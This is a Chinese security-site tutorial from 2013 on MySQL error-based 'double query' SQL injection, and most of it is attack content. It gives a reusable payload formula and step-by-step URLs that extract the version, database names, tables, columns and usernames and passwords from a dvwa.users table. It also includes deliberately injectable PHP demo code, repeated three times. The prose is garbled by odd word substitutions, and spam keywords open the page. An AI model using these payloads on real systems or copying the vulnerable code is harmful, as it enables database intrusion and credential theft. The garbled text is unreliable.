国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動安全 安全管理 應用案例 網絡威脅 系統(tǒng)安全 應用安全數據安全 云安全
當前位置: 主頁 > 信息安全 > 數據安全 >

數據安然之雙查詢注進解析

時間:2013-11-14 11:15來源:TuZhiJiaMi企業(yè)信息安全專家 點擊:
介紹一下雙查詢注進,甚么叫雙查詢注進,這個有點難以詮釋,通俗的來講就是嵌套子查詢。我們理解一會兒查詢,查詢的關頭字是select,這個大年夜家都知道。子查詢可以簡單的理解在一個
Tags數據安全(840)數據庫(89)雙查詢注入(1)  

  介紹一下雙查詢注進,甚么叫雙查詢注進,這個有點難以詮釋,通俗的來講就是嵌套子查詢。我們理解一會兒查詢,查詢的關頭字是select,這個大年夜家都知道。子查詢可以簡單的理解在一個select語句里還有一個select,里面的這個select語句就是子查詢。

  這類編制合用于注進的時辰沒有返回位,可是有返回位的時辰也合用,不外又返回位的時辰就不建議在、用這個啦!返回位就是你們union select 1,2,3,4,5,6,7,8 這里是8個字段

  這里顯示2,4,5,6,7,8就是返回位

  別的,就是要有返回mysql弊端提示,php返回弊端提示有兩種,看下圖

  這是mysql返回的弊端

  這是php返回的弊端

  雙注進的道理,簡單一句話道理就是有研究人員發(fā)現,當在一個聚合函數,好比count函數后面假定利用分組語句就會把查詢的一部門以弊端的情勢顯示出來。

  floor()和rand(),count()就不在多說啦

  可是concat()函數,就來講一下,concat是一個連接函數,可以連接多個字符,例如

  1concat("abc","123")="abc123"

  并且撐持ascii碼,例如:

  1concat("abc",0x22,"123")=abc"123

  (0×22就是雙引號,可以用來當分隔符)

  這里在mysql輸進

  1select concat((select version()))

shuangzhuru4

  在concat里履行查詢要用括號括起來,同時要肯定只返回 一條數據,不然得用limit來包管只有一條成果 (limit 0,1 返回第一條)

  假定這條語句添加from的話,就會返回表中的記實的條數,就是有多少筆記實就會返回多少次的版本號,看圖

shuangzhuru5

  這里還沒有顯示完!!

  是以

  1select concat((select version()),floor(rand()*2)) from mysql.user;

  (這里我用的是mysql中的mysql數據庫,user表有四筆記實 )

  (小編注:rand()函數是生成0-1之間的小數隨機值,rand()*2是生成0-2之間的小數隨機數,floor(rand()*2)就相當于生成0/1兩個隨機值)

  Attention,這里顯示的值是版本號加上rand()生成的,準確版本好是往掉掉隊面的0或1

  此刻我們加上group by ,因為假定我們從from 某張表的話,可能里面就會有良多筆記實,然后便可能生成隨機值(傳聞是如許的,假定不是,還看奉告)

  這里用information_schema.tables來弄,因為他的記實夠多 ,如前一條語句,你便可以知道啦

  group by 一下多清爽啦

  看語句中

  1select concat((select version()),floor(rand()*2))a from information_schema.tables group by a;

  這里加粗的a是把 as a 簡寫成 a 罷了,說一下group by ,這個的感化就是把5.1.69-0ubuntu0.10.04.10 分為一組,5.1.69-0ubuntu0.10.04.11 的分為一組

  (小編注:假定各位看官不知道這里是如何回事,履行一下

  1select concat((select version()),floor(rand()*2)) from information_schema.tables

  就清晰了)

  最后就來到這個count()函數了,這個函數妙用可以看一下下圖

  1select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a

  看到了沒有,返回了我們后面concat的內容啦

  ERROR 1062 (23000): Duplicate entry ’15.1.69-0ubuntu0.10.04.1′ for key ‘group_key’,我們看看phpmyadmin下比較具體的報錯:

shuangchaxun21

  說了這么多就為了這個罷了!!

  好了,給個小小demo(demo在本文最后)給你們,不外弄不出一個沒有顯示返回位的,所以就遷就一下的

  然后雙注進查詢是有固定公式的

  1union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注進爆數據語句))a from information_schema.tables group by a)b

  這里將下面的demo設置數據庫的一些參數以后,保留成yi.php,我們的演示就正式開端了

  這是正常的環(huán)境:

  加個單引號后

  這里申明有注進了,然后用order by 鑒定字段咯,這里就截圖了(太麻煩啦),字段數是8個(其實不鑒定也能夠的,只要肯定有注進就行啦)

  1、先讀個數據庫的版本、用戶、當前庫名

  1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select concat(version(),0x22,user(),0x22,database())))a from information_schema.tables group by a)b

  這里數據庫版本:5.1.28-rc-community

  用戶是:root@localhost

  數據庫名:test

  2、然后讀數據庫有哪些庫

  1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select schema_name from information_schema.schemata limit 0,1))a from information_schema.tables group by a)b

  這里要寄望,因為sql語句會返回多筆記實,所以要用limit來限制返回的條數,limit 0,1是第一筆記實

  limit 1,1是第二筆記實

  (小編注:經由過程節(jié)制limit來逐條查看數據庫名稱,請忽視前面的0或是1)

  3、然后看看有甚么表

  因為我有個dvwa的數據庫,所以就用阿誰來做示范啦

  1http://127.0.0.1/yi.php?id=-1 union select 1 from (select+count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1))a from information_schema.tables group by a)b

  加粗是dvwa的hex值,如許獲得dvwa的users的表

  4、然后看有甚么字段

  1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*) ,concat(floor(rand(0)*2),(select column_name from information_schema.columns where table_name =0x7573657273 limit 0,1 ))a from information_schema.tables group by a)b

  然后點竄limit的值,獲得字段user,password

  5、然后讀取字段的值

  1http://127.0.0.1/yi.php?id=-1 union Select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user,0x22,password) from dvwa.users limit 0,1))a from information_schema.tables group by a)b

  這模樣就獲得字段的值啦,然后提示一下,如果跨庫讀取數據,要寫成數據庫名然后.表名。因為當前數據庫是test,然后我讀的是dvwa庫的users的表,所以要寫成dvwa.users

  好了根基就是這么多啦。

  防備編制:

  一個是過濾啦(把’,”,union,select load_file,%,and等敏感字符都過濾啦)

  另外一個是參數化查詢,就是一種把查詢語句給固定死了,不管傳過來的值是甚么,都只當作變量來履行查詢語句

  demo的源碼:

  

  $dbuser = "root";

  $dbpwd = ""; //這里是mysql的暗碼

  $db = "test";

  $conn = mysql_connect("localhost",$dbuser,$dbpwd) or die("error");

  mysql_select_db($db,$conn);

  $id = $_GET['id'];

  $query = "select * from test where id =$id";

  $result = mysql_query($query) or die(mysql_error());

  print_r(mysql_fetch_array($result));

  //簡單的寫一下罷了

  ?>  $dbuser = "root";

  $dbpwd = ""; //這里是mysql的暗碼

  $db = "test";

  $conn = mysql_connect("localhost",$dbuser,$dbpwd) or die("error");

  mysql_select_db($db,$conn);

  $id = $_GET['id'];

  $query = "select * from test where id =$id";

  $result = mysql_query($query) or die(mysql_error());

  print_r(mysql_fetch_array($result));

  //簡單的寫一下罷了

  >  $dbuser = "root";

  $dbpwd = ""; //這里是mysql的暗碼

  $db = "test";

  $conn = mysql_connect("localhost",$dbuser,$dbpwd) or die("error");

  mysql_select_db($db,$conn);

  $id = $_GET['id'];

  $query = "select * from test where id =$id";

  $result = mysql_query($query) or die(mysql_error());

  print_r(mysql_fetch_array($result));

  //簡單的寫一下罷了

  >

------分隔線----------------------------

推薦內容